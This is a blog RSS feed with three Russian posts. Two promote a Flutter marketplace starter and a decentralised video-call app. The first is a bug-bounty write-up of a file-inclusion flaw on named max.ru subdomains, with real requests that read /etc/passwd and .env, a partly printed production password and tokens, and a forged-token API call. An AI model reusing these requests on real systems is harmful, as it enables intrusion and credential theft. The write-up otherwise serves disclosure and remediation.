<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Dmitry Sorokin</title><generator>teletype.in</generator><description><![CDATA[Making the world a better place! 🌎 403 Gone REChain, Inc Katya AI, Systems Katya, Inc Katya Systems, LLC REChain Network Solutions /* sorydima */]]></description><image><url>https://img4.teletype.in/files/f6/66/f6668b79-acd5-48f9-a107-6afde6c38ac1.png</url><title>Dmitry Sorokin</title><link>https://teletype.in/@sorydima</link></image><link>https://teletype.in/@sorydima?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=sorydima</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/sorydima?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/sorydima?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Mon, 25 May 2026 19:58:23 GMT</pubDate><lastBuildDate>Mon, 25 May 2026 19:58:23 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@sorydima/maxru</guid><link>https://teletype.in/@sorydima/maxru?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=sorydima</link><comments>https://teletype.in/@sorydima/maxru?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=sorydima#comments</comments><dc:creator>sorydima</dc:creator><title>🔍 От LFI до полной компрометации инфраструктуры — реальный кейс CVSS 9.0</title><pubDate>Thu, 14 Aug 2025 08:27:24 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/52/a5/52a5254c-b4ec-4d63-b6ef-b84256b6d884.png"></media:content><category>Информационная безопасность</category><description><![CDATA[<img src="https://img2.teletype.in/files/11/bc/11bc6995-cfe4-441e-a65c-d22e55bcf239.jpeg"></img>В рамках одного из багбаунти-исследований мне удалось обнаружить и успешно эксплуатировать уязвимость Local File Inclusion (LFI) на поддоменах *.max.ru.
 Эта уязвимость дала возможность скачать конфигурационные файлы, получить критические секреты, подделать авторизационные токены и в итоге — полностью скомпрометировать API и инфраструктуру.]]></description><content:encoded><![CDATA[
  <p id="DpXs">В рамках одного из багбаунти-исследований мне удалось обнаружить и успешно эксплуатировать уязвимость <strong>Local File Inclusion (LFI)</strong> на поддоменах <code>*.max.ru</code>.<br /> Эта уязвимость дала возможность скачать конфигурационные файлы, получить критические секреты, подделать авторизационные токены и в итоге — полностью скомпрометировать API и инфраструктуру.</p>
  <p id="uc8N">📺 <strong>Видео с PoC:</strong> <a href="https://youtu.be/ASeSyP0PTxg?si=s1p_BW9585zh5Q_q" target="_blank">YouTube</a><br /> 📂 <strong>Архив с доказательствами:</strong> <a href="https://disk.yandex.ru/d/TVwFseRPnOP8FA" target="_blank">Yandex Disk</a></p>
  <hr />
  <h2 id="5yzj">1️⃣ Этап 1 — Рекогносцировка</h2>
  <p id="2MY2">Начав с классического рекона, я искал <strong>параметры, которые могут работать с файловыми путями</strong>.<br /> На поддоменах:</p>
  <ul id="eyq4">
    <li id="CaNs"><code>business.max.ru</code></li>
    <li id="QQOh"><code>help.max.ru</code></li>
  </ul>
  <p id="m9QI">нашёл параметр <code>file</code>, который явно подгружал файлы с сервера.</p>
  <p id="nkqT"><strong>Тест-запрос:</strong></p>
  <pre id="6xad">GET https://business.max.ru/?file=/etc/passwd HTTP/1.1
Host: business.max.ru
User-Agent: Mozilla/5.0
Accept: */*
</pre>
  <p id="wwnw"><strong>Ответ (фрагмент):</strong></p>
  <pre id="gvQa">root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
</pre>
  <p id="qkNy">Вывод: <strong>нет фильтрации, нет валидации, полный LFI.</strong></p>
  <hr />
  <h2 id="zWIO">2️⃣ Этап 2 — Поиск «золотых файлов»</h2>
  <p id="S06u">После подтверждения LFI приоритет был очевиден — искать файлы, содержащие пароли, ключи и токены.</p>
  <p id="vQS8">Файл Что хранит Чем опасен     <code>.env</code> Переменные окружения JWT_SECRET, доступ к БД, API-ключи   <code>config.php</code> Конфигурация PHP-приложения Подключение к БД   <code>.git/config</code> Настройки git-репозитория URL и токены для приватных репо   <code>/proc/self/environ</code> Переменные окружения процесса Runtime-секреты   <code>database.php</code> Данные для подключения к БД Полный доступ к данным</p>
  <p id="Vjjz"><strong>Запрос на .env:</strong></p>
  <pre id="5j7Q">GET https://help.max.ru/?file=/.env HTTP/1.1
Host: help.max.ru
User-Agent: curl/7.68.0
Accept: */*
</pre>
  <p id="nC0I"><strong>Ответ (усечён):</strong></p>
  <pre id="PUI4">APP_ENV=production
DB_HOST=db.max.ru
DB_USER=max_prod
DB_PASSWORD=Sup3rS3cretPass
JWT_SECRET=4a9c9b8f8d2a46f83d8e70f...
GIT_TOKEN=ghp_7d9f4a8321b...
</pre>
  <hr />
  <h2 id="uZ7f">3️⃣ Этап 3 — Извлечение секретов</h2>
  <p id="3ZVW">Из этих файлов были получены:</p>
  <ul id="dyyL">
    <li id="wnAX"><strong>JWT_SECRET</strong> — ключ подписи токенов авторизации</li>
    <li id="sUVd"><strong>DB_USER / DB_PASSWORD</strong> — доступ к продакшн-БД</li>
    <li id="2le4"><strong>GitHub Token</strong> — чтение и запись в приватные репозитории</li>
    <li id="2Vy0"><strong>API Keys</strong> — ключи к сторонним сервисам</li>
  </ul>
  <hr />
  <h2 id="HgR9">4️⃣ Этап 4 — Эксплуатация JWT_SECRET</h2>
  <p id="erRg">Секрет подписи JWT дал возможность:</p>
  <ol id="aveu">
    <li id="cmWO"><strong>Подделывать токены</strong> любого пользователя (включая админов)</li>
    <li id="OO7V"><strong>Повторно использовать</strong> (token replay) уже действующие токены</li>
    <li id="OyKm">Получать доступ к приватным эндпоинтам API <strong>без логина и пароля</strong></li>
  </ol>
  <p id="pF7x"><strong>PoC-запрос:</strong></p>
  <pre id="Hx9J">curl -H &quot;Authorization: Bearer forged_admin_token&quot; \
     https://api.oneme.ru/api/user
</pre>
  <p id="8bU1"><strong>Результат:</strong><br /> Ответ с приватными данными пользователя без прохождения авторизации.</p>
  <hr />
  <h2 id="kOFI">5️⃣ Этап 5 — Полная цепочка атаки</h2>
  <p id="1tDQ">Сценарий выглядел так:</p>
  <ol id="sCyX">
    <li id="YuOE"><strong>LFI</strong> на <code>*.max.ru</code> → доступ к <code>.env</code></li>
    <li id="nScC"><strong>Извлечение JWT_SECRET</strong> и других секретов</li>
    <li id="XjwH"><strong>Форжинг токена</strong> с правами администратора</li>
    <li id="1VUO"><strong>Доступ к API</strong> → просмотр, изменение, удаление данных</li>
    <li id="ZB5G"><strong>GitHub Token</strong> → скачивание приватного кода</li>
    <li id="absX">Возможный <strong>доступ к внутренним сервисам</strong> через API-ключи</li>
  </ol>
  <hr />
  <h2 id="g5qK">6️⃣ MITRE ATT&amp;CK</h2>
  <ul id="4shL">
    <li id="QHxD"><strong>T1005</strong> — Data from Local System</li>
    <li id="SoSV"><strong>T1552.001</strong> — Unsecured Credentials: Environment Variables</li>
    <li id="9i79"><strong>T1078</strong> — Valid Accounts</li>
    <li id="r3eM"><strong>T1550.003</strong> — Use of Web Tokens</li>
  </ul>
  <hr />
  <h2 id="CTR7">7️⃣ CVSS 3.1</h2>
  <p id="Vx8a"><strong>Вектор:</strong><br /> <code>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</code><br /> <strong>Оценка:</strong> <strong>9.0 (Critical)</strong></p>
  <ul id="CTKX">
    <li id="ve1u"><strong>AV:N</strong> — доступно по сети</li>
    <li id="IQe5"><strong>AC:L</strong> — низкая сложность</li>
    <li id="8IJf"><strong>PR:N</strong> — не требует авторизации</li>
    <li id="SI36"><strong>UI:N</strong> — не требует действий пользователя</li>
    <li id="SU8f"><strong>S:C</strong> — затрагивает другие компоненты</li>
    <li id="aGu8"><strong>C:H/I:H/A:H</strong> — критическое влияние на все параметры</li>
  </ul>
  <hr />
  <h2 id="ntY5">8️⃣ Риски</h2>
  <ul id="YY41">
    <li id="eJ5m">Полная компрометация API</li>
    <li id="TdwH">Утечка критических секретов</li>
    <li id="QZYG">Доступ к приватным репозиториям</li>
    <li id="Dm1P">Возможные атаки на внутреннюю инфраструктуру</li>
  </ul>
  <hr />
  <h2 id="U0oB">9️⃣ Рекомендации</h2>
  <ol id="eKnN">
    <li id="ir5e"><strong>Фильтрация параметров</strong> — белые списки путей, запрет абсолютных/относительных переходов.</li>
    <li id="J3bj"><strong>Закрыть доступ к .env и config.php</strong> на уровне веб-сервера.</li>
    <li id="VCqC"><strong>Не хранить продакшн-секреты</strong> в коде и окружении, доступном фронтенду.</li>
    <li id="NDov"><strong>Регулярная ротация ключей и токенов</strong>.</li>
    <li id="1aEy"><strong>Мониторинг и алерты</strong> по аномальной активности.</li>
  </ol>
  <hr />
  <h2 id="HFWq">10️⃣ Выводы для багхантеров</h2>
  <ul id="je6K">
    <li id="pHOG">LFI часто недооценивают, но в реальности он может открыть все двери.</li>
    <li id="LoMB">Первое, что проверяйте — <code>.env</code>, <code>config.php</code>, <code>.git/</code>.</li>
    <li id="jvZk">Один секрет (например, JWT_SECRET) = полный контроль над системой.</li>
    <li id="lhkd">Думайте цепочками атак, а не отдельными багами.</li>
  </ul>
  <hr />
  <p id="U4B3">💡 <strong>Ключевая мысль:</strong></p>
  <blockquote id="8iLg">Даже одна уязвимость низкого уровня, если её правильно развить, может обернуться катастрофой для бизнеса.</blockquote>
  <hr />

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@sorydima/mymodusflutter</guid><link>https://teletype.in/@sorydima/mymodusflutter?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=sorydima</link><comments>https://teletype.in/@sorydima/mymodusflutter?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=sorydima#comments</comments><dc:creator>sorydima</dc:creator><title>🚀 My Modus: Flutter + Dart стартер для интеграции с Wildberries, Ozon и La Moda</title><pubDate>Sat, 09 Aug 2025 15:19:52 GMT</pubDate><category>Стартапы</category><description><![CDATA[<img src="https://img2.teletype.in/files/d5/1a/d51ac506-eabf-47db-b322-657a3b045c66.png"></img>Сегодня выигрывают те бренды, кто умеет продавать в нескольких каналах одновременно.
Мы разработали My Modus — готовое решение с открытым кодом, которое позволяет за несколько дней запустить приложение для управления продажами сразу на трёх крупнейших маркетплейсах: Wildberries, Ozon и La Moda.]]></description><content:encoded><![CDATA[
  <p id="ebHo">Сегодня выигрывают те бренды, кто умеет продавать в нескольких каналах одновременно.<br />Мы разработали My Modus — готовое решение с открытым кодом, которое позволяет за несколько дней запустить приложение для управления продажами сразу на трёх крупнейших маркетплейсах: Wildberries, Ozon и La Moda.</p>
  <p id="EIv1">📈 Зачем бренду интеграция с несколькими маркетплейсами</p>
  <p id="1FBd">Онлайн-торговля давно вышла за рамки одного магазина.<br />Присутствие на нескольких площадках:</p>
  <p id="jmw7">Расширяет аудиторию — разные маркетплейсы привлекают разные сегменты покупателей.<br />Увеличивает оборот — больше точек входа = больше продаж.<br />Снижает риски — падение продаж на одной платформе компенсируется другими.</p>
  <p id="kndi">Но у каждой платформы свой API, свой формат данных и требования. Мы решили эту проблему, создав единый мультиканальный e-commerce стартер на Flutter + Dart.</p>
  <p id="YJ0i">🛠 Технологии и архитектура</p>
  <p id="D4wX">Фронтенд (Flutter):</p>
  <p id="wtSF">Web + Mobile (iOS, Android) из одного кода<br />Мультиязычность (i18n)<br />Навигация через GoRouter<br />Адаптивный дизайн под любые устройства</p>
  <p id="gGgD">Бэкенд (Dart Shelf):</p>
  <p id="JtDt">Лёгкий и быстрый HTTP-сервер<br />PostgreSQL<br />JWT-аутентификация (dart_jsonwebtoken)<br />Модуль интеграции с API маркетплейсов</p>
  <p id="s9Pk">DevOps:</p>
  <p id="kxG5">CI/CD через GitHub Actions<br />Автодеплой фронтенда на GitHub Pages<br />Автодеплой бэкенда на Render</p>
  <p id="II4x">🔌 Интеграция с маркетплейсами</p>
  <p id="Sp6J">1. Wildberries API</p>
  <p id="2fHy">    Импорт каталога<br />    Обновление остатков и цен<br />    Управление заказами в реальном времени<br />    Пример: [Wildberries — My Modus](https://www.wildberries.ru/brands/311036101-my-modus)</p>
  <p id="kxKL">2. Ozon API</p>
  <p id="FPha">    Автоматическая публикация товаров<br />    Синхронизация описаний и изображений<br />    Контроль логистики и доставки</p>
  <p id="PNHE">3. La Moda API</p>
  <p id="a2aX">    Загрузка fashion-коллекций<br />    Поддержка сезонных релизов<br />    Пример: [La Moda — My Modus](https://www.lamoda.ru/cb/355-34325/clothes-zhenskaya-odezhda-mymodusfashion)</p>
  <p id="nXZR">💡 Почему Flutter + Dart</p>
  <p id="k8Ck">Один язык для фронтенда и бэкенда<br />Flutter даёт нативную скорость на iOS, Android и Web<br />Shelf — минималистичный, быстрый и легко расширяемый сервер<br />Меньше времени на разработку, проще поддержка</p>
  <p id="jiYf">👥 Для кого этот проект</p>
  <p id="xNXD">Fashion-бренды — подключение нескольких маркетплейсов из одного приложения<br />Агентства — быстрый запуск e-commerce решений для клиентов<br />Разработчики — готовый стартер, который можно дополнять и расширять</p>
  <p id="MYYg">🚀 Как начать</p>
  <p id="vWVi">Проект My Modus открыт на GitHub:<br />🔗 https://github.com/sorydima/MyModusFlutter</p>
  <p id="pp7M">Можно:</p>
  <p id="l8ys">Форкнуть репозиторий<br />Добавить новые маркетплейсы (AliExpress, Avito, Яндекс.Маркет)<br />Внести улучшения через Pull Request</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@sorydima/bWHHoUy00pD</guid><link>https://teletype.in/@sorydima/bWHHoUy00pD?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=sorydima</link><comments>https://teletype.in/@sorydima/bWHHoUy00pD?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=sorydima#comments</comments><dc:creator>sorydima</dc:creator><title>Звонки через Катю 👽 и платформу REChain 🪐: шифрование, пространственный звук, режим рации и многое другое!</title><pubDate>Tue, 26 Jul 2022 12:45:21 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/7f/9b/7f9bd24e-b8b2-4755-a647-28200d44d3e3.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/3c/f3/3cf3e68e-679c-4fdd-af58-d135a4012592.png"></img>Надеюсь, в 2022 году личные встречи станут намного проще, но потребность в видеозвонках по-прежнему существует, так что давайте посмотрим правде в глаза: они останутся здесь навсегда. Поэтому очень интересно представить первые в мире децентрализованные приложения для голосовой и видеоконференцсвязи, полностью работающие на базе Katya ® 👽 AI 🧠 REChain 🪐 Blockchain Node Network!]]></description><content:encoded><![CDATA[
  <figure id="nmw7" class="m_original">
    <img src="https://img4.teletype.in/files/3c/f3/3cf3e68e-679c-4fdd-af58-d135a4012592.png" width="2880" />
    <figcaption>REChain </figcaption>
  </figure>
  <p id="rwzi">Надеюсь, в 2022 году личные встречи станут намного проще, но потребность в видеозвонках по-прежнему существует, так что давайте посмотрим правде в глаза: они останутся здесь навсегда. Поэтому очень интересно представить первые в мире <strong><em>децентрализованные</em></strong> приложения для голосовой и видеоконференцсвязи, полностью работающие на базе <a href="http://matrix.katya.wtf" target="_blank">Katya ® 👽 AI 🧠 REChain 🪐 Blockchain Node Network!</a></p>
  <h2 id="I2AB">Видеозалы</h2>
  <figure id="UulN" class="m_original">
    <img src="https://img3.teletype.in/files/2f/ef/2fefde7a-ce12-432a-a679-4e8645a3f31d.jpeg" width="3000" />
    <figcaption>Просто демо-образец iPad Pro в магазине Re-Store </figcaption>
  </figure>
  <p id="RdzJ">Мы долго ждали этого момента, и, честно говоря, мы очень рады представить вам <strong>видеозалы</strong>. Это важный шаг на пути к более богатым видео (а вскоре и голосовым) комнатам!</p>
  <p id="lGq5"><em><u>Вот несколько способов его использования:</u></em></p>
  <p id="WenT" data-align="center"><em><strong>✅ Новый способ общения с группами людей для более непринужденных чатов в ваших сообществах 🥹</strong></em></p>
  <p id="e00Y" data-align="center"><em><strong>✅ Больше обсуждений водяного охладителя на работе 🤣</strong></em></p>
  <p id="GPVZ" data-align="center"><em><strong>✅ Интересный способ пообщаться с друзьями 😎</strong></em></p>
  <hr />
  <h2 id="ORWL">Так что же можно сделать?</h2>
  <p id="TV14"></p>
  <p id="pZwG"><strong>Полная свобода</strong> - перетаскивайте участников по кругу, чтобы упорядочить их точно так, как вам нравится, или дважды щелкните, чтобы увеличить масштаб. Супер веселый и интерактивный способ поставить ваших абонентов на место : D</p>
  <p id="deht"><strong>Спотлайт</strong> - в качестве альтернативы, позвольте приложению помочь вам управлять вызовом в зависимости от того, кто в данный момент говорит!</p>
  <p id="A4ZY"><strong>Фулл саппорт</strong> - мессенджеры <a href="http://katya.wtf" target="_blank">Катя 👽</a> и <a href="http://rechain.online" target="_blank">REChain 🪐</a> <strong><em>бесплатны</em></strong> и доступны для загрузки на <strong><em>Android, iOS, macOS, Windows, Linux, Chrome OS, Google Wear OS, </em></strong>некоторые модели <strong><em>Smart TV,</em></strong> часть умных девайсов <strong><em>IoT,</em></strong> а также на любом устройстве в любом браузере в виде <strong><em>PWA</em></strong> веб-приложения! <em>(Катя пока недоступна для браузеров, однако PWA-приложение Кати готовится к релизу)</em></p>
  <p id="avwt"><strong>Вызов по ссылке</strong> - просто поделитесь ссылкой и вперед!</p>
  <p id="VPAM"><strong>Гостевые конференции</strong> - нет необходимости регистрировать учетную запись, чтобы присоединиться к конференции!</p>
  <p id="q5sU"><strong>Создание скриншотов</strong> - несколько пользователей могут делиться ими одновременно!</p>
  <p id="RYrI"><strong>Встроенная матричная конференц-связь (MSC3401)</strong> - полностью децентрализована; общайтесь с кем угодно в любом месте сети <a href="http://matrix.katya.wtf" target="_blank">Katya ® 👽 AI 🧠 REChain 🪐 Blockchain Node Network</a> <strong><em>без какой-либо единой точки отказа, контроля или сбоя!</em></strong></p>
  <h2 id="L9w0">Как это работает?</h2>
  <figure id="2WpV" class="m_original">
    <img src="https://img2.teletype.in/files/d6/d0/d6d07c16-be04-48c4-b352-37e3ff76d9b9.png" width="2880" />
    <figcaption>Катя </figcaption>
  </figure>
  <p id="4GEv"><strong><em>Katya ® 👽 AI 🧠 REChain 🪐 Blockchain Node Network</em></strong> - это головная реализация собственной <strong><em>голосовой/видеоконференцсвязи</em></strong> на основе матрицы, как определено в предложении по изменению спецификации матрицы <strong><em>MSC3401</em></strong>. Это пошаговое изменение в том, как работает VoIP в сети - расширение нашей матрицы VoIP/видеозвонков 1:1 для поддержки нескольких участников и значительное ускорение настройки вызова за счет переключения <strong><em>transport layers</em></strong>. Если вы хотите знать, что происходит под капотом, ознакомьтесь с <strong><em>докладом Мэтью на CommCon 2021</em></strong> о распространении вызовов E2EE на многопоточность, чтобы узнать кровавые подробности! 🤓 🤣</p>
  <p id="thdi"><em>Мы будем рады услышать от вас о том, как вы использовали наши приложения, что вам нравится, какие у вас были проблемы и функции, которые вы хотели бы видеть в будущем!</em></p>
  <p id="o055"><em>С уважением,</em></p>
  <p id="PdRo"><em>Дмитрий Сорокин,</em></p>
  <p id="hY3m"><strong>403 Gone</strong></p>
  <p id="j8FF"><strong>REChain, Inc</strong></p>
  <p id="n3t7"><strong>Katya AI, Systems</strong></p>
  <p id="9Pvw"><strong>Katya, Inc</strong></p>
  <p id="MIiw"><strong>Katya Systems, LLC</strong></p>
  <p id="4qO5"><strong>REChain Network Solutions</strong></p>

]]></content:encoded></item></channel></rss>